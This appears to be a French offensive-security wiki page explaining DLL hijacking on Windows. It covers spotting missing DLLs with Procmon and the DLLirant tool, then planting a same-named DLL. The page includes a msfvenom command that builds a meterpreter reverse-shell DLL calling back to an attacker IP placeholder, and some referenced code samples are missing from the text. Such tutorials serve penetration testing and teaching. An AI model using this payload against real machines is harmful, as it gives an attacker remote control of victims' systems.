🧩DLL Hijacking
Dernière mise à jour
Dernière mise à jour
Le détournement de DLL est une méthode d'injection de code malveillant dans une application en exploitant la façon dont certaines applications Windows recherchent et chargent les bibliothèques de liens dynamiques (DLL).
En remplaçant un fichier DLL requis par une version infectée et en le plaçant dans les paramètres de recherche d'une application, le fichier infecté contenant le code malveillant est appelé lors du chargement de l'application et exécute donc le code malveillant.
Il est possible de détecter les recherches de DLL perdues avec le Process Monitor (Procmon) de la suite sysinternals.
ressource: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
Pour cela, nous devons utiliser le filtre nommé "Result" et rechercher "NAME NOT FOUND" comme ceci:
Il est également possible d'utiliser des outils tels que DLLirant que vous pourrez retrouver en bas de cette page et qui on pour but d'automatiser la recherche de possibilité de DLL hijacking.
La première étape pour détourner une DLL une fois le filtre établie est de trouver un chemin dans la liste des DLL non trouvées pour lequel il est possible de déposer une DLL du même nom.
La dernière étape consiste ensuite à créer une DLL au nom de celle manquante.
On peut utiliser MSFVenom pour cela comme ceci:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker IP> LPORT=<Listener port> -f dll -o exemple.dll
On peut aussi utiliser le code PoC suivant pour lancer un pop-up au demarrage du binaire.
Si l'exécution de la DLL renvoie des erreurs, il est possible que ce soit car des fonctions sont nécessaires à son fonctionnement.
Dans ce cas on peut utiliser d'utiliser le binaire dumpbin.exe
de Visual Studio pour rechercher les fonctions manquantes puis de les rajouter au code de la DLL.
Exemple:
Ici on vois en bas que la DLL exemple.dll utilise les fonctions FunctionA et B pour fonctionner, fonctions que l'on peu ajouter à notre DLL en y ajoutant les lignes:
DLLirant est un outil permettant d'automatiser les recherches de DLL Hijacking sur un binaire spécifié.
ressource: https://github.com/redteamsocietegenerale/DLLirant